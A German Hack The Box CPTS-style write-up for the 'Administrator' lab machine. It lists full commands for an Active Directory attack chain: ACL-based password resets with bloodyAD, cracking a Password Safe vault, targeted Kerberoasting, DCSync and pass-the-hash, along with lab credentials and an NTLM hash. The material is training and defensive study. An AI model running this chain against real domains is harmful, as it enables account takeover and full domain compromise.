← Zurück zu Machines

HTB · published

Administrator

Hack The Box CPTS-Track Writeup für Administrator: Active Directory ACL Abuse, Password Reset Chain, Password Safe Loot, targeted Kerberoasting, DCSync und Pass-the-Hash zu Domain Admin.

HTBCPTSWriteupActive DirectoryACL AbuseBloodHoundKerberoastingDCSyncPass-the-HashMachineWindowsAD Exploitation

Metadaten


  • Name: Administrator
  • IP Address: 10.129.8.143
  • Plattform: Windows
  • Kategorie: Active Directory / ACL Abuse / Kerberoasting / DCSync
  • Schwierigkeit: Medium
  • Ziel(e): User, Domain Admin
  • Kurzbeschreibung des Szenarios: Administrator ist eine assumed-breach Active-Directory-Machine. Der Weg zur Kompromittierung besteht nicht aus einem klassischen Exploit, sondern aus einer sauber verketteten AD-Rechtekette: Password Reset über ACLs, Loot aus FTP, Cracken einer Password-Safe-Datenbank, targeted Kerberoasting und final DCSync.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 5000 -T4 -oA scans/nmap_allports 10.129.8.143
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm

Die offenen Ports zeigten direkt ein typisches Active-Directory-Ziel mit LDAP, Kerberos, SMB, WinRM und ADWS. Zusätzlich war FTP offen, was später wichtig wurde.

servicescan:

nmap -sC -sV -p 21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001 -oA scans/nmap_targeted 10.129.8.143
21/tcp    open  ftp           Microsoft ftpd
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0

Domain: administrator.htb
Host: DC
SMB signing: enabled and required
Clock skew: about 7h

Der Zeitversatz war wichtig, weil Kerberos-Tickets sonst schnell fehlschlagen. Für Kerberos-Tools wurde daher mit faketime gearbeitet.

Die Machine ist assumed-breach. Der initiale Credential-Satz war:

Olivia : ichliebedich

Der Zugriff ließ sich per SMB validieren:

smbclient -L //10.129.8.143/ -U 'administrator.htb\Olivia%ichliebedich'

Für die AD-Analyse wurde BloodHound genutzt:

bloodhound-python -u Olivia -p 'ichliebedich' -d administrator.htb -ns 10.129.8.143 -c All --zip

Die entscheidenden Kontrollpfade waren:

Olivia  -- GenericAll           --> Michael
Michael -- ForceChangePassword  --> Benjamin
Emily   -- GenericWrite         --> Ethan
Ethan   -- GetChanges/GetChangesAll --> Domain

Damit war klar: Die Maschine ist eine AD-Misconfiguration-Chain. Jeder Schritt öffnet den nächsten Account.


Exploitation (Foothold)

Olivia zu Michael

Da Olivia GenericAll auf Michael hatte, konnte Michaels Passwort direkt zurückgesetzt werden:

bloodyAD --host 10.129.8.143 -d administrator.htb -u Olivia -p 'ichliebedich' set password michael 'Michael@2026!'
Michael : Michael@2026!

Michael zu Benjamin

Michael hatte wiederum ForceChangePassword auf Benjamin. Damit konnte auch Benjamins Passwort gesetzt werden:

bloodyAD --host 10.129.8.143 -d administrator.htb -u michael -p 'Michael@2026!' set password benjamin 'Benjamin@2026!'
Benjamin : Benjamin@2026!

Mit Benjamin war der offene FTP-Dienst nutzbar:

ftp 10.129.8.143

Im FTP lag eine Password-Safe-Datenbank:

Backup.psafe3

Die Datei wurde heruntergeladen und mit pwsafe2john für John vorbereitet:

pwsafe2john Backup.psafe3 > backup.hash
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
Backup.psafe3 : tekieromucho

Nach dem Entschlüsseln der Password-Safe-Datenbank wurden mehrere Credentials sichtbar:

emily     : UXLCI5iETUsIBoFVTj8yQFKoHjXmb
alexander : UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emma      : WwANQWnmJnGV07WQN8bMS7FMAbjNur

Emily war der nächste wichtige Account, da sie interaktiven Zugriff über WinRM erlaubte.

evil-winrm -i 10.129.8.143 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

User Flag:

type C:\Users\emily\Desktop\user.txt
d1fba[REDACTED-USER-FLAG]e633

Lateral Movement / User Escalation

Emily war nicht direkt Domain Admin, hatte aber GenericWrite auf Ethan. Dadurch konnte Ethan temporär ein SPN gesetzt werden, um einen Kerberoast-Hash anzufordern.

SPN setzen:

bloodyAD --host 10.129.8.143 -d administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' set object ethan servicePrincipalName HTTP/ethanroast.administrator.htb

TGS anfordern:

faketime -f +7h impacket-GetUserSPNs administrator.htb/emily:'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -dc-ip 10.129.8.143 -request-user ethan -request

Der Zeitversatz wurde hier bewusst mit faketime ausgeglichen, da Kerberos sonst unzuverlässig war.

Den Kerberoast-Hash anschließend offline cracken:

john ethan_tgs.hash --wordlist=/usr/share/wordlists/rockyou.txt
ethan : limpbizkit

Damit war Ethan kompromittiert. Der entscheidende Punkt: Ethan hatte Replikationsrechte auf die Domain.


Privilege Escalation (Root / Domain)

Ethan besaß GetChanges und GetChangesAll auf der Domain. Das ist der klassische DCSync-Pfad, weil ein Account damit Domain-Controller-Replikation nachahmen und Passwortmaterial abfragen kann.

DCSync gegen den Administrator-Account:

impacket-secretsdump administrator.htb/ethan:'limpbizkit'@10.129.8.143 -just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::

Mit dem NTLM-Hash war Pass-the-Hash per WinRM möglich:

evil-winrm -i 10.129.8.143 -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e

Root Flag:

type C:\Users\Administrator\Desktop\root.txt
ae2f2[REDACTED-ROOT-FLAG]fc58

Die vollständige Angriffskette:

Olivia
  -> GenericAll auf Michael
  -> Password Reset Michael
  -> ForceChangePassword auf Benjamin
  -> FTP-Zugriff
  -> Backup.psafe3
  -> Password Safe Crack
  -> Emily Credentials
  -> GenericWrite auf Ethan
  -> targeted Kerberoasting
  -> Ethan Credentials
  -> DCSync
  -> Administrator NTLM
  -> Pass-the-Hash WinRM

Post-Exploitation

  • User Flag: d1fba[REDACTED-USER-FLAG]e633
  • Root Flag: ae2f2[REDACTED-ROOT-FLAG]fc58
  • Wichtige Accounts: Olivia, michael, benjamin, emily, ethan, Administrator
  • Wichtige Dateien: Backup.psafe3, backup.hash, ethan_tgs.hash, BloodHound-Collection
  • Wichtige Rechte: GenericAll, ForceChangePassword, GenericWrite, GetChanges, GetChangesAll
  • Impact: Vollständige Domain-Kompromittierung ohne CVE, rein durch AD-ACL-Fehlkonfigurationen und schwache Passwort-/Vault-Hygiene.

Lessons Learned

  • Wichtigster Aha-Moment: Die komplette Maschine fällt über eine AD-Rechtekette. Kein Exploit war nötig, nur saubere Enumeration und konsequentes Ausnutzen der ACLs.
  • Früher prüfen: Nach assumed-breach Credentials lohnt sich BloodHound extrem früh. Die relevanten Kanten waren direkt sichtbar und haben den gesamten Pfad erklärt.
  • Technik merken: GenericWrite auf einen User kann für targeted Kerberoasting reichen, wenn ein temporärer SPN gesetzt werden darf.
  • Credential Hygiene: Ein schwach geschützter Password Safe auf FTP ist praktisch ein Credential-Bundle für den Angreifer.
  • DCSync erkennen: GetChanges plus GetChangesAll ist Tier-0-kritisch. Solche Rechte gehören nicht auf normale User.
  • Kerberos-Zeit: Starker Clock-Skew kann falsche Fehlerbilder erzeugen. Zeitabgleich bzw. faketime spart hier unnötiges Debugging.

Notizen

  • SMB-Signing war aktiv und erforderlich, hat den Angriffspfad aber nicht verhindert, weil die Schwachstelle in AD-Rechten lag.
  • FTP Anonymous war nicht erlaubt; der Dienst wurde erst mit Benjamin relevant.
  • Alternative Pfade ab Emily wären Shadow Credentials oder RBCD gewesen, aber der Kerberoast war durch das schwache Ethan-Passwort der schnellste Weg.
  • Nach DCSync wäre neben Pass-the-Hash auch weiteres Ticket- oder Persistence-Material möglich gewesen. Für das Writeup reichte der saubere Administrator-Zugriff.